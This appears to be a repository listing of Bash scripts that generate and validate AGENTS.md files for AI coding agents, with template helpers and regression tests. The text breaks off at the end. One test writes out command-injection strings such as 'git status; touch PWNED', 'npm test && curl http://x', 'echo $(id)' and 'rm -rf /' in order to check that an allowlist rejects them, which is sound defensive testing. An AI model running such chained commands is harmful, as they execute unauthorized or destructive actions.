'.codeowners.file // ""' 2>/dev/null || echo "") local dependabot dependabot=$(echo "$platform_info" | jq -r '.dependency_updates.dependabot.file // ""' 2>/dev/null || echo "") if [[ -n "$pr_template" || -n "$codeowners" || -n "$dependabot" ]]; then echo "" echo -e "${CYAN}▸ Platform Files (${platform})${NC}" echo -e " ${GRAY}────────────────────────────────────────${NC}" [[ -n "$pr_template" ]] && printf " ✓ PR template: %s\n" "$pr_template" [[ -n "$codeowners" ]] && printf " ✓ CODEOWNERS: %s\n" "$codeowners" [[ -n "$dependabot" ]] && printf " ✓ Dependabot: %s\n" "$dependabot" fi fi # Commands Extracted echo "" echo -e "${CYAN}▸ Commands Extracted${NC}" echo -e " ${GRAY}────────────────────────────────────────${NC}" local typecheck typecheck=$(echo "$commands_info" | jq -r '.typecheck') local lint lint=$(echo "$commands_info" | jq -r '.lint') local format format=$(echo "$commands_info" | jq -r '.format') local test_cmd test_cmd=$(echo "$commands_info" | jq -r '.test') local build build=$(echo "$commands_info" | jq -r '.build') local dev dev=$(echo "$commands_info" | jq -r '.dev') [[ -n "$typecheck" && "$typecheck" != "" ]] && printf " %-12s ${YELLOW}%s${NC}\n" "typecheck:" "$typecheck" [[ -n "$lint" && "$lint" != "" ]] && printf " %-12s ${YELLOW}%s${NC}\n" "lint:" "$lint" [[ -n "$format" && "$format" != "" ]] && printf " %-12s ${YELLOW}%s${NC}\n" "format:" "$format" [[ -n "$test_cmd" && "$test_cmd" != "" ]] && printf " %-12s ${YELLOW}%s${NC}\n" "test:" "$test_cmd" [[ -n "$build" && "$build" != "" ]] && printf " %-12s ${YELLOW}%s${NC}\n" "build:" "$build" [[ -n "$dev" && "$dev" != "" ]] && printf " %-12s ${YELLOW}%s${NC}\n" "dev:" "$dev" # Scopes Detected local scope_count scope_count=$(echo "$scopes_info" | jq '.scopes | length') if [[ "$scope_count" -gt 0 ]]; then echo "" echo -e "${CYAN}▸ Scopes Detected ($scope_count)${NC}" echo -e " ${GRAY}────────────────────────────────────────${NC}" echo "$scopes_info" | jq -r '.scopes[] | " \(.path)/ (\(.files) files) → \(.type)"' fi # Files to Generate echo "" echo -e "${CYAN}▸ Files to Generate${NC}" echo -e " ${GRAY}────────────────────────────────────────${NC}" echo " AGENTS.md (root)" if [[ "$scope_count" -gt 0 ]]; then echo "$scopes_info" | jq -r '.scopes[] | " \(.path)/AGENTS.md"' fi # Warnings if [[ ${#SUMMARY_WARNINGS[@]} -gt 0 ]]; then echo "" echo -e "${YELLOW}▸ Warnings${NC}" echo -e " ${GRAY}────────────────────────────────────────${NC}" for warning in "${SUMMARY_WARNINGS[@]}"; do echo -e " ${YELLOW}⚠${NC} $warning" done fi echo "" echo -e "${BOLD}═══════════════════════════════════════════════════════════════${NC}" echo "" } # Print a compact summary (for non-verbose mode) print_compact_summary() { local project_info="$1" local scopes_info="$2" local lang lang=$(echo "$project_info" | jq -r '.language') local ptype ptype=$(echo "$project_info" | jq -r '.type') local scope_count scope_count=$(echo "$scopes_info" | jq '.scopes | length') echo "Detected: $lang ($ptype), $((scope_count + 1)) AGENTS.md file(s) to generate" } -
template.sh 14.8 KB
#!/usr/bin/env bash # Template rendering helper functions # Remove sections that are entirely empty (only header + whitespace/empty tables) # A section is: ## Header followed by content until next ## or EOF # Empty means: only whitespace, empty table headers (2 rows only), or empty code blocks remove_empty_sections() { local content="$1" # Use awk to process sections echo "$content" | awk ' BEGIN { section_header = "" section_body = "" preamble = "" in_section = 0 } # Match section headers (## Something) /^## / { # Flush previous section if it had real content if (in_section) { if (has_content(section_body)) { print section_header printf "%s", section_body } } else { # Print any preamble before first section printf "%s", preamble } section_header = $0 section_body = "" in_section = 1 next } # Accumulate content { if (in_section) { section_body = section_body $0 "\n" } else { preamble = preamble $0 "\n" } } END { # Flush last section if (in_section && has_content(section_body)) { print section_header printf "%s", section_body } } # Check if body has real content (not just empty structural elements) function has_content(body, stripped, table_rows, n, i, data_rows) { stripped = body # Remove HTML comments gsub(/<!--[^>]*-->/, "", stripped) # Count table rows - if exactly 2 (header + divider), table is empty # Split by newlines and count lines starting with | n = split(stripped, lines, "\n") table_rows = 0 data_rows = 0 for (i = 1; i <= n; i++) { if (lines[i] ~ /^\|/) { table_rows++ # Data row = table row that is NOT a header divider (|---|) if (lines[i] !~ /^\|[-:| ]+\|$/) { # Also not just the header row if we are still in first 2 if (table_rows > 2) { data_rows++ } } } } # If we have a table with more than 2 rows, it has data if (table_rows > 2) { return 1 } # Remove tables that are just header+divider (2 rows) # Pattern: | ... |\n|---...|\n gsub(/\|[^|\n]+(\|[^|\n]+)*\|\n\|[-:| ]+\|\n?/, "", stripped) # Remove empty code blocks (``` followed by optional whitespace and ```) gsub(/```[^\n]*\n[ \t]*\n?```/, "", stripped) # Remove standalone code block markers gsub(/```[a-z]*\n?/, "", stripped) # Remove bullet points that are just placeholder markers or empty gsub(/^[ \t]*[-*][ \t]*\n/, "", stripped) # Remove lines that say "No scoped AGENTS.md files yet" or similar placeholder text gsub(/- \(No scoped [^)]+\)/, "", stripped) gsub(/- No known [^\n]+/, "", stripped) # Check if anything substantive remains gsub(/[ \t\n]/, "", stripped) return length(stripped) > 0 } ' } # Render template with placeholder replacement # Supports multi-line values using bash string replacement render_template() { local template_file="$1" local output_file="$2" local -n template_vars=$3 local content content=$(cat "$template_file") # Replace all placeholders using bash parameter expansion # This handles multi-line values correctly for key in "${!template_vars[@]}"; do local value="${template_vars[$key]}" content="${content//"{{$key}}"/$value}" done # Handle remaining unfilled placeholders # Delete table rows containing unresolved placeholders content=$(echo "$content" | sed '/^|.*{{[A-Z_]*}}.*|$/d') # Delete bullet points with only unresolved placeholders content=$(echo "$content" | sed '/^[[:space:]]*[-*][[:space:]]*{{[A-Z_][A-Z0-9_]*}}[[:space:]]*$/d') # Delete lines that are ONLY a placeholder (prevents blank lines in tables) content=$(echo "$content" | sed '/^{{[A-Z_][A-Z0-9_]*}}$/d') # Also handle placeholders with leading/trailing whitespace content=$(echo "$content" | sed '/^[[:space:]]*{{[A-Z_][A-Z0-9_]*}}[[:space:]]*$/d') # Remove any remaining inline placeholders (better than "(not configured)" noise) # shellcheck disable=SC2001 # regex quantifier over a character class; # bash glob replacement cannot express "one class char then zero or more". content=$(echo "$content" | sed 's/{{[A-Z_][A-Z0-9_]*}}//g') # Remove empty lines that appear after table rows but before non-table content # This fixes broken tables when placeholders were replaced with empty content content=$(echo "$content" | awk ' /^\|.*\|$/ { # Print any pending empty lines first if we are continuing a table if (prev_was_table && pending_empty) { # Skip the pending empty - it was between table rows with no data } print prev_was_table=1 pending_empty=0 next } /^[[:space:]]*$/ { if (prev_was_table) { pending_empty=1 # Hold empty line, might be inside table } else { print # Normal empty line outside table } next } { # Non-table line - do not print pending empty from table section pending_empty=0 prev_was_table=0 print } ') # Clean up multiple consecutive empty lines content=$(echo "$content" | cat -s) # Remove empty sections (only header + whitespace/empty tables) content=$(remove_empty_sections "$content") # Final cleanup of multiple consecutive empty lines after section removal content=$(echo "$content" | cat -s) # Write output printf '%s\n' "$content" > "$output_file" } # Validate rendered content has no remaining placeholders # Returns 0 if valid, 1 if placeholders found validate_no_placeholders() { local file="$1" local strict="${2:-false}" if grep -qE '\{\{[A-Z][A-Z0-9_]*\}\}' "$file"; then local placeholders placeholders=$(grep -oE '\{\{[A-Z][A-Z0-9_]*\}\}' "$file" | sort -u | tr '\n' ' ') if [ "$strict" = "true" ]; then echo "[ERROR] Unresolved placeholders in $file: $placeholders" >&2 return 1 else echo "[WARN] Unresolved placeholders in $file: $placeholders" >&2 return 0 fi fi return 0 } # Generate timestamp get_timestamp() { date +%Y-%m-%d } # Build scope index for root template build_scope_index() { local scopes_json="$1" local index="" local count count=$(echo "$scopes_json" | jq '.scopes | length') if [ "$count" -eq 0 ]; then echo "- (No scoped AGENTS.md files yet)" return fi while read -r scope; do local path type description path=$(echo "$scope" | jq -r '.path') type=$(echo "$scope" | jq -r '.type') description=$(get_scope_description "$type") # A scope discovered only because it already carries an AGENTS.md has no # type to describe. Let the file speak for itself — its own Overview # line says what the directory is for, which beats any label this # script could invent. Falls back to a neutral phrase, never to the # bare type name, which reads as a bug in the generated output. if [ "$type" = "existing" ]; then description=$(sed -n '/^## Overview/,/^## /p' "$path/AGENTS.md" 2>/dev/null \ | grep -v '^##' | grep -v '^$' | head -1 | cut -c1-100) [ -n "$description" ] || description="Scoped rules for \`$path/\`" fi index="$index- \`./$path/AGENTS.md\` — $description\n" done < <(echo "$scopes_json" | jq -c '.scopes[]') echo -e "$index" } # Get description for scope type get_scope_description() { local type="$1" case "$type" in "backend-go") echo "Backend services (Go)" ;; "backend-php") echo "Backend services (PHP)" ;; "backend-typescript") echo "Backend services (TypeScript/Node.js)" ;; "backend-python") echo "Backend services (Python)" ;; "frontend-typescript") echo "Frontend application (TypeScript/React/Vue)" ;; "cli") echo "Command-line interface tools and entry points" ;; "testing") echo "Test suites, fixtures, and testing utilities" ;; "documentation") echo "Project documentation, guides, and reference materials" ;; "examples") echo "Example applications, usage patterns, and sample code" ;; "resources") echo "Static resources, assets, templates, and configuration files" ;; "docker") echo "Container/Docker configuration for building and deploying images" ;; "claude-code-skill") echo "Claude Code skill/plugin providing AI agent capabilities" ;; "typo3-extension") echo "TYPO3 extension following TYPO3 CGL and PSR-12" ;; "typo3-project") echo "TYPO3 project installation with site configuration" ;; "oro-bundle") echo "Oro bundle following Oro Architecture and Symfony best practices" ;; "oro-project") echo "Oro application with platform configuration and bundles" ;; "symfony") echo "Symfony application following Symfony best practices" ;; "github-actions") echo "GitHub Actions workflows and CI/CD automation" ;; "gitlab-ci") echo "GitLab CI/CD pipeline configuration" ;; "concourse") echo "Concourse CI pipeline and task definitions" ;; "typo3-testing") echo "TYPO3 test suites, fixtures and the Docker test runner" ;; "typo3-docs") echo "TYPO3 documentation (reStructuredText, rendered by the docs toolchain)" ;; "ddev") echo "DDEV local development environment and its commands" ;; "python-modern") echo "Python package using the modern toolchain (uv, ruff, pyproject)" ;; # Falling through prints the raw type name into user-facing output, # which reads as a bug rather than a description. Anything reaching # here is a type someone added to detect-scopes.sh without a matching # case above — say so plainly instead of leaking the identifier. *) echo "Scoped rules for this directory" ;; esac } # Get language-specific conventions text get_language_conventions() { local language="$1" local version="$2" case "$language" in "go") echo "- Follow Go $version conventions and idioms" ;; "php") echo "- Follow PSR-12 coding standards and PHP $version features" ;; "typescript") echo "- Use TypeScript strict mode with proper type annotations" ;; "python") echo "- Follow PEP 8 style guide and Python $version features" ;; *) echo "" ;; esac } # Format command with fallback text format_command() { local cmd="$1" local fallback="$2" if [ -n "$cmd" ] && [ "$cmd" != "null" ]; then echo "$cmd" else echo "$fallback" fi } # Check if file has generated section markers has_generated_markers() { local file="$1" grep -q 'AGENTS-GENERATED:START' "$file" 2>/dev/null } # Extract section names from file get_section_names() { local file="$1" grep -oE 'AGENTS-GENERATED:START [a-z0-9-]+' "$file" 2>/dev/null | sed 's/AGENTS-GENERATED:START //' | sort -u } # Extract content between markers for a section get_section_content() { local file="$1" local section="$2" sed -n "/AGENTS-GENERATED:START $section/,/AGENTS-GENERATED:END $section/p" "$file" 2>/dev/null | \ sed '1d;$d' # Remove the marker lines themselves } # Update only generated sections in an existing file # Preserves all content outside markers update_generated_sections() { local template_file="$1" local existing_file="$2" local output_file="$3" # shellcheck disable=SC2034 # nameref, read through the indirect name below local -n update_vars=$4 # First render the template to get new content local temp_rendered temp_rendered=$(mktemp) render_template "$template_file" "$temp_rendered" update_vars # If existing file doesn't have markers, just overwrite if ! has_generated_markers "$existing_file"; then mv "$temp_rendered" "$output_file" return 0 fi # Get all section names from the rendered template local sections sections=$(get_section_names "$temp_rendered") # Start with the existing file content local result result=$(cat "$existing_file") # Replace each generated section for section in $sections; do local new_content new_content=$(get_section_content "$temp_rendered" "$section") if [ -n "$new_content" ]; then # Create a sed-safe version of the new content # Use awk for multi-line replacement result=$(echo "$result" | awk -v section="$section" -v newcontent="$new_content" ' BEGIN { in_section = 0 } /AGENTS-GENERATED:START / && $0 ~ section { print in_section = 1 next } /AGENTS-GENERATED:END / && $0 ~ section { print newcontent print in_section = 0 next } !in_section { print } ') fi done # Update timestamp local today today=$(date +%Y-%m-%d) # shellcheck disable=SC2001 # see above: quantified class, not a glob. result=$(echo "$result" | sed "s/Last updated: [0-9-]*/Last updated: $today/") # Write result echo "$result" > "$output_file" # Clean up rm -f "$temp_rendered" } # Render template - respects update mode # If update_mode=true and file exists with markers, only updates generated sections render_template_smart() { local template_file="$1" local output_file="$2" # shellcheck disable=SC2034 # nameref, read through the indirect name below local -n smart_vars=$3 local update_mode="${4:-false}" if [ "$update_mode" = "true" ] && [ -f "$output_file" ] && has_generated_markers "$output_file"; then # Update mode - preserve human edits update_generated_sections "$template_file" "$output_file" "$output_file" smart_vars else # Normal mode - full render render_template "$template_file" "$output_file" smart_vars fi }
-
-
tests
-
test-claude-import-file.sh 3.2 KB
#!/usr/bin/env bash # Regression test for CLAUDE.md import-file handling (issue #82). # # The TYPO3 docs renderer lists Documentation/ via Flysystem, which aborts on # any symbolic link, so a CLAUDE.md -> AGENTS.md symlink there breaks docs CI. # generate-agents.sh must emit a regular "@AGENTS.md" import file for # Documentation/ scopes, and validate-structure.sh must accept that file as # fully valid, while still warning on other regular CLAUDE.md files. set -uo pipefail SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" SCRIPTS_DIR="$(dirname "$SCRIPT_DIR")" GENERATE="$SCRIPTS_DIR/generate-agents.sh" VALIDATE="$SCRIPTS_DIR/validate-structure.sh" WORK="$(mktemp -d)" trap 'rm -rf "$WORK"' EXIT fail() { echo "❌ FAIL: $1"; exit 1; } pass() { echo "✅ PASS: $1"; } # PHP fixture with a Documentation/ scope (>=3 RST files) and enough source # files that generate-agents.sh emits a root plus scoped files. FX="$WORK/php-docs" mkdir -p "$FX/src" "$FX/Documentation" cat > "$FX/composer.json" <<'JSON' { "name": "acme/fixture", "require": { "php": "^8.2" }, "scripts": { "test": "phpunit" } } JSON # detect-scopes.sh needs MIN_FILES=5 source files for an src scope. for i in 1 2 3 4 5; do printf '<?php\nclass C%s {}\n' "$i" > "$FX/src/C$i.php"; done for i in 1 2 3; do printf 'Chapter %s\n=========\n' "$i" > "$FX/Documentation/Ch$i.rst"; done git -C "$FX" init -q git -C "$FX" -c user.email=t@t.t -c user.name=t add -A git -C "$FX" -c user.email=t@t.t -c user.name=t commit -qm init # --- Test 1: generator emits an import FILE, not a symlink, in Documentation/ bash "$GENERATE" "$FX" --style=thin >/dev/null 2>&1 || fail "generate-agents.sh errored" [ -f "$FX/Documentation/AGENTS.md" ] \ || fail "fixture did not produce a scoped Documentation/AGENTS.md (scope not detected; fix the fixture)" [ -e "$FX/Documentation/CLAUDE.md" ] || fail "no Documentation/CLAUDE.md generated" if [ -L "$FX/Documentation/CLAUDE.md" ]; then fail "Documentation/CLAUDE.md is a symlink -- breaks TYPO3 docs rendering (#82)" fi grep -qE '^@AGENTS\.md[[:space:]]*$' "$FX/Documentation/CLAUDE.md" \ || fail "Documentation/CLAUDE.md lacks the @AGENTS.md import line" pass "generator emits @AGENTS.md import file in Documentation/" # Non-hostile scope dirs must still get symlinks. [ -e "$FX/src/CLAUDE.md" ] || fail "no src/CLAUDE.md generated (src scope not detected; fixture needs >=5 source files)" [ -L "$FX/src/CLAUDE.md" ] || fail "src/CLAUDE.md should still be a symlink" pass "non-hostile scope dirs still get symlinks" # --- Test 2: validator accepts the import file without a warning ------------- out=$(bash "$VALIDATE" "$FX" 2>&1) if echo "$out" | grep -q "CLAUDE.md is a regular file"; then fail "validate-structure.sh still warns about the @AGENTS.md import file" fi pass "validator accepts the @AGENTS.md import file" # --- Test 3: a regular CLAUDE.md without the import still warns -------------- printf 'unrelated content\n' > "$FX/Documentation/CLAUDE.md" out=$(bash "$VALIDATE" "$FX" 2>&1) if ! echo "$out" | grep -q "CLAUDE.md is a regular file"; then fail "validate-structure.sh no longer warns about a non-import regular CLAUDE.md" fi pass "non-import regular CLAUDE.md still warns" echo "All CLAUDE.md import-file regression tests passed." -
test-command-allowlist.sh 3 KB
#!/usr/bin/env bash # Regression test for the smoke-test allowlist in verify-commands.sh (issue #104). # # is_safe_command() matched the first word of a command and the runner then # passed the whole string to `bash -c`, so "git status; touch PWNED" was # approved on its prefix and both halves ran. Commands carrying shell syntax # are now rejected outright. set -uo pipefail SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" SCRIPTS_DIR="$(dirname "$SCRIPT_DIR")" VERIFY="$SCRIPTS_DIR/verify-commands.sh" WORK="$(mktemp -d)" trap 'rm -rf "$WORK"' EXIT fail() { echo "❌ FAIL: $1"; exit 1; } pass() { echo "✅ PASS: $1"; } write_agents() { local dir="$1" cmd="$2" mkdir -p "$dir" cat > "$dir/AGENTS.md" <<AGENTS # Fixture ## Commands | Command | Purpose | |---------|---------| | \`$cmd\` | fixture | AGENTS } # --- Test 1: a chained command does not run, and is not reported as working FX="$WORK/chained" write_agents "$FX" "git status; touch $FX/PWNED" OUT="$(cd "$FX" && SMOKE_TEST=true bash "$VERIFY" . 2>&1)" || true [ -e "$FX/PWNED" ] && fail "the chained command executed — allowlist bypassed" grep -q "Not smoke-tested" <<<"$OUT" || fail "chained command was not reported as skipped (output was: $OUT)" pass "chained command neither runs nor counts as verified" # --- Test 2 (companion): a plain allowlisted command still runs # Without this the test above would also pass if everything were rejected. FX="$WORK/plain" write_agents "$FX" "git --version" OUT="$(cd "$FX" && SMOKE_TEST=true bash "$VERIFY" . 2>&1)" || true grep -q "command works" <<<"$OUT" || fail "plain allowlisted command was not executed (output was: $OUT)" pass "plain allowlisted command is still smoke-tested" # --- Test 3: the predicate itself, per shell construct eval "$(awk '/^is_safe_command\(\) \{/,/^\}/' "$VERIFY")" expect() { local cmd="$1" want="$2" got if is_safe_command "$cmd"; then got=allow; else got=reject; fi [ "$got" = "$want" ] || fail "is_safe_command: want $want, got $got for <$cmd>" } expect 'git status' allow expect 'npm test' allow expect 'make -n test' allow expect 'vendor/bin/phpunit --filter Foo' allow expect './gradlew build' allow expect 'git status; touch /tmp/x' reject # separator expect 'npm test && curl http://x' reject # conjunction expect 'npm test | sh' reject # pipe # The next two are deliberately single-quoted: the point is that the predicate # sees the substitution syntax literally, so it must not expand here. # shellcheck disable=SC2016 expect 'echo $(id)' reject # substitution # shellcheck disable=SC2016 expect 'git log `id`' reject # legacy substitution expect 'npm test > /tmp/out' reject # redirection expect 'bash -n scripts/*.sh' reject # glob expect 'rm -rf /' reject # not on the allowlist expect 'curl http://example.com' reject # network fetch, deliberately dropped pass "is_safe_command rejects every shell construct that can chain a command" echo "" echo "All command allowlist tests passed." -
test-dependency-tree-exclusion.sh 2.4 KB
#!/usr/bin/env bash # Regression test for dependency-tree exclusion in validate-structure.sh (issue #84). # # The CLAUDE.md-symlink scan excludes vendor/ and node_modules/, but the scoped # AGENTS.md scan did not — so third-party AGENTS.md files shipped inside an # installed composer vendor/ tree were validated as if they were the project's # own, reporting their missing sections as project errors. TYPO3 extensions # install dependencies under .Build/vendor/, so that path must be excluded too. set -uo pipefail SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" SCRIPTS_DIR="$(dirname "$SCRIPT_DIR")" VALIDATE="$SCRIPTS_DIR/validate-structure.sh" WORK="$(mktemp -d)" trap 'rm -rf "$WORK"' EXIT fail() { echo "❌ FAIL: $1"; exit 1; } pass() { echo "✅ PASS: $1"; } # A minimal project whose OWN files are valid, plus third-party AGENTS.md files # in the three dependency trees. Only the dependency files are non-conforming. FX="$WORK/proj" mkdir -p "$FX/vendor/acme/lib" "$FX/node_modules/pkg" "$FX/.Build/vendor/acme/ext" cat > "$FX/AGENTS.md" <<'MD' <!-- Managed by agent: keep sections and order; edit content, not structure --> # AGENTS.md **Precedence:** The **closest AGENTS.md** to changed files wins. Root holds global defaults only. ## Index of scoped AGENTS.md - nothing scoped yet MD ln -s AGENTS.md "$FX/CLAUDE.md" for d in vendor/acme/lib node_modules/pkg .Build/vendor/acme/ext; do printf '# Third-party AGENTS.md\n\nNo managed header, no required sections.\n' > "$FX/$d/AGENTS.md" done out=$(bash "$VALIDATE" "$FX" 2>&1); rc=$? for d in vendor node_modules .Build; do if grep -q "/$d/" <<<"$out"; then echo "$out" | grep "/$d/" | head -3 fail "validate-structure.sh scanned the $d/ dependency tree (#84)" fi done pass "dependency trees (vendor, node_modules, .Build) are not scanned" if [ "$rc" -ne 0 ]; then echo "$out" fail "a project that is valid on its own files exited non-zero" fi pass "project with valid own files passes despite third-party AGENTS.md files" # The project's own scoped files must still be validated. mkdir -p "$FX/src" printf '# AGENTS.md -- src\n\nNo managed header, no required sections.\n' > "$FX/src/AGENTS.md" out=$(bash "$VALIDATE" "$FX" 2>&1) grep -q "src/AGENTS.md" <<<"$out" || fail "the project's own scoped AGENTS.md was skipped" pass "the project's own scoped files are still validated" echo "All dependency-tree exclusion tests passed." -
test-extract-commands-real-scripts.sh 4 KB
#!/usr/bin/env bash # Regression test: extract-commands.sh must emit the composer script that the # project actually defines, never the first name it happened to look for. # # The bug: the PHP branch accepted `.scripts.format // .scripts["cs:fix"]` as # evidence and then printed `composer run format` unconditionally. A project # defining only `cs:fix` therefore had `composer run format` written into its # AGENTS.md — a command that does not exist, presented to agents as fact. # The same shape applied to `lint` (via `cs:check`) and `phpstan` (via `stan`). set -uo pipefail SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" EXTRACT="$(dirname "$SCRIPT_DIR")/extract-commands.sh" WORK="$(mktemp -d)" trap 'rm -rf "$WORK"' EXIT fail() { echo "❌ FAIL: $1"; exit 1; } pass() { echo "✅ PASS: $1"; } # A PHP project whose scripts use the alternate names only. mkdir -p "$WORK/alt" cat > "$WORK/alt/composer.json" <<'JSON' { "name": "acme/alt-names", "require": {"php": "^8.2"}, "scripts": { "cs:fix": "php-cs-fixer fix", "cs:check": "php-cs-fixer fix --dry-run", "stan": "phpstan analyse" } } JSON OUT=$(bash "$EXTRACT" "$WORK/alt" 2>/dev/null) for pair in "format:cs:fix" "lint:cs:check" "typecheck:stan"; do field="${pair%%:*}" want="composer run ${pair#*:}" got=$(printf '%s' "$OUT" | jq -r --arg f "$field" '.[$f] // ""') [ "$got" = "$want" ] || fail "$field: expected '$want', got '$got'" done pass "alternate script names are emitted as themselves" # Every emitted `composer run X` must name a script the project defines. # This is the invariant the bug violated, stated independently of which # names the extractor happens to prefer today. while read -r key; do [ -n "$key" ] || continue jq -e --arg k "$key" '.scripts[$k]' "$WORK/alt/composer.json" >/dev/null 2>&1 \ || fail "extractor emitted 'composer run $key', which composer.json does not define" done < <(printf '%s' "$OUT" | jq -r '.[] | select(type == "string") | select(startswith("composer run ")) | sub("composer run ";"")') pass "every emitted composer command exists in composer.json" # The preferred names still win when they are present. mkdir -p "$WORK/std" cat > "$WORK/std/composer.json" <<'JSON' { "name": "acme/standard-names", "require": {"php": "^8.2"}, "scripts": {"format": "php-cs-fixer fix", "cs:fix": "should not be chosen"} } JSON got=$(bash "$EXTRACT" "$WORK/std" 2>/dev/null | jq -r '.format') [ "$got" = "composer run format" ] || fail "preferred name not chosen: got '$got'" pass "the preferred script name still wins when defined" # The same defect shape lived in the package.json branch: `typecheck` was # accepted via `type-check`, and `dev` via `start`, while the emitted command # always used the first name. mkdir -p "$WORK/npm" cat > "$WORK/npm/package.json" <<'JSON' { "name": "acme-alt", "scripts": { "type-check": "tsc --noEmit", "start": "vite", "lint": "eslint ." } } JSON NPM_OUT=$(bash "$EXTRACT" "$WORK/npm" 2>/dev/null) for pair in "typecheck:type-check" "dev:start"; do field="${pair%%:*}" want="npm run ${pair#*:}" got=$(printf '%s' "$NPM_OUT" | jq -r --arg f "$field" '.[$f] // ""') [ "$got" = "$want" ] || fail "$field: expected '$want', got '$got'" done pass "alternate package.json script names are emitted as themselves" # Same invariant as for composer, stated for the npm runner: an emitted # `<pm> run X` must name a script package.json defines. Commands that are not # script invocations (npx/tsc/eslint fallbacks) are out of scope here. while read -r key; do [ -n "$key" ] || continue jq -e --arg k "$key" '.scripts[$k]' "$WORK/npm/package.json" >/dev/null 2>&1 \ || fail "extractor emitted 'npm run $key', which package.json does not define" done < <(printf '%s' "$NPM_OUT" | jq -r '.[] | select(type == "string") | select(startswith("npm run ")) | sub("npm run ";"")') pass "every emitted npm script command exists in package.json" echo "All extract-commands script-name regression tests passed." -
test-json-manifest.sh 5.5 KB
#!/usr/bin/env bash # Test for the generate-agents.sh write manifest (issue #107). # # generate-agents.sh is the only script in the skill that writes, and was the # only one without --json. The manifest lists one entry per path the run # touches, so a caller can review exactly what would change (--dry-run) or what # did change (without it) instead of parsing nine different prose lines. set -uo pipefail SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" SCRIPTS_DIR="$(dirname "$SCRIPT_DIR")" GENERATE="$SCRIPTS_DIR/generate-agents.sh" WORK="$(mktemp -d)" trap 'rm -rf "$WORK"' EXIT fail() { echo "❌ FAIL: $1"; exit 1; } pass() { echo "✅ PASS: $1"; } make_fixture() { local fx="$1" mkdir -p "$fx/src" cat > "$fx/package.json" <<'JSON' { "name": "fixture", "version": "1.0.0", "scripts": { "test": "echo t" } } JSON for i in 1 2 3 4 5 6; do printf 'export const c%s = %s\n' "$i" "$i" > "$fx/src/c$i.js"; done git -C "$fx" init -q git -C "$fx" -c user.email=t@t.t -c user.name=t add -A git -C "$fx" -c user.email=t@t.t -c user.name=t commit -qm init } # --- Test 1: --dry-run --json is valid JSON, carries the schema, writes nothing FX="$WORK/plan" make_fixture "$FX" printf '# my own rules\n' > "$FX/GEMINI.md" OUT="$(bash "$GENERATE" "$FX" --dry-run --json 2>/dev/null)" || fail "generate-agents.sh errored" jq -e . >/dev/null 2>&1 <<<"$OUT" || fail "output is not valid JSON: $OUT" [ "$(jq -r '.script' <<<"$OUT")" = "generate-agents" ] || fail "wrong script field" [ "$(jq -r '.schema' <<<"$OUT")" = "1" ] || fail "wrong schema field" [ "$(jq -r '.dry_run' <<<"$OUT")" = "true" ] || fail "dry_run not true under --dry-run" [ -e "$FX/AGENTS.md" ] && fail "--dry-run --json wrote AGENTS.md" [ -e "$FX/CLAUDE.md" ] && fail "--dry-run --json created a symlink" pass "--dry-run --json emits a valid manifest and writes nothing" # --- Test 2: human output is suppressed, so stdout is parseable grep -q '✅' <<<"$OUT" && fail "human output leaked into the JSON stream" pass "--json suppresses the prose output" # --- Test 3: every operation kind appears, with the fields it needs [ "$(jq -r '[.operations[] | select(.op=="write" and .path=="AGENTS.md")] | length' <<<"$OUT")" = "1" ] \ || fail "root AGENTS.md missing from the manifest" [ "$(jq -r '.operations[] | select(.path=="CLAUDE.md") | .target' <<<"$OUT")" = "AGENTS.md" ] \ || fail "symlink entry has no target" [ "$(jq -r '.operations[] | select(.path=="GEMINI.md") | .op' <<<"$OUT")" = "keep" ] \ || fail "the kept regular file is not recorded as keep" jq -e '.operations[] | select(.path=="GEMINI.md") | .reason' >/dev/null <<<"$OUT" \ || fail "keep entry carries no reason" pass "write, symlink and keep entries carry their fields" # --- Test 4: paths are relative to the project root, never absolute jq -e '[.operations[].path | select(startswith("/"))] | length == 0' >/dev/null <<<"$OUT" \ || fail "manifest contains absolute paths" pass "paths are relative to the project root" # --- Test 5: the summary counts what the operations list holds for op in write symlink keep; do want="$(jq -r --arg op "$op" '[.operations[] | select(.op==$op)] | length' <<<"$OUT")" got="$(jq -r --arg op "$op" '.summary[$op] // 0' <<<"$OUT")" [ "$want" = "$got" ] || fail "summary.$op says $got, operations hold $want" done pass "summary matches the operations list" # --- Test 6: without --dry-run the same manifest is a receipt of real writes FX="$WORK/receipt" make_fixture "$FX" OUT="$(bash "$GENERATE" "$FX" --json 2>/dev/null)" || fail "generate-agents.sh errored" [ "$(jq -r '.dry_run' <<<"$OUT")" = "false" ] || fail "dry_run not false on a real run" [ -f "$FX/AGENTS.md" ] || fail "real run wrote no AGENTS.md" while read -r p; do [ -e "$FX/$p" ] || fail "manifest claims $p but it does not exist" done < <(jq -r '.operations[] | select(.op!="keep") | .path' <<<"$OUT") pass "every non-keep path in the receipt exists on disk" # --- Test 7: the prose output still works without --json (companion) FX="$WORK/prose" make_fixture "$FX" OUT="$(bash "$GENERATE" "$FX" --dry-run 2>/dev/null)" || fail "generate-agents.sh errored" grep -q 'DRY-RUN' <<<"$OUT" || fail "prose output lost its DRY-RUN lines" jq -e . >/dev/null 2>&1 <<<"$OUT" && fail "prose run emitted JSON" pass "the default output is unchanged" # --- Test 8: a file left alone is recorded, not merely absent from the list # Without this, a consumer cannot tell "AGENTS.md was skipped because it exists" # from "AGENTS.md was never considered" — both look like a missing entry. FX="$WORK/second-run" make_fixture "$FX" bash "$GENERATE" "$FX" >/dev/null 2>&1 || fail "generate-agents.sh errored" OUT="$(bash "$GENERATE" "$FX" --dry-run --json 2>/dev/null)" || fail "generate-agents.sh errored" [ "$(jq -r '.operations[] | select(.path=="AGENTS.md") | .op' <<<"$OUT")" = "keep" ] \ || fail "an existing AGENTS.md is not recorded as keep on a second run" [ "$(jq -r '.operations[] | select(.path=="AGENTS.md") | .reason' <<<"$OUT")" = "already exists" ] \ || fail "the keep entry for AGENTS.md carries no reason" pass "an existing AGENTS.md is recorded as keep, with its reason" # --- Test 9: --update writes, and the manifest says so OUT="$(bash "$GENERATE" "$FX" --update --json 2>/dev/null)" || fail "generate-agents.sh errored" [ "$(jq -r '.operations[] | select(.path=="AGENTS.md") | .op' <<<"$OUT")" = "write" ] \ || fail "--update rewrote AGENTS.md without recording it as a write" pass "--update records the rewrite it performs" echo "" echo "All JSON 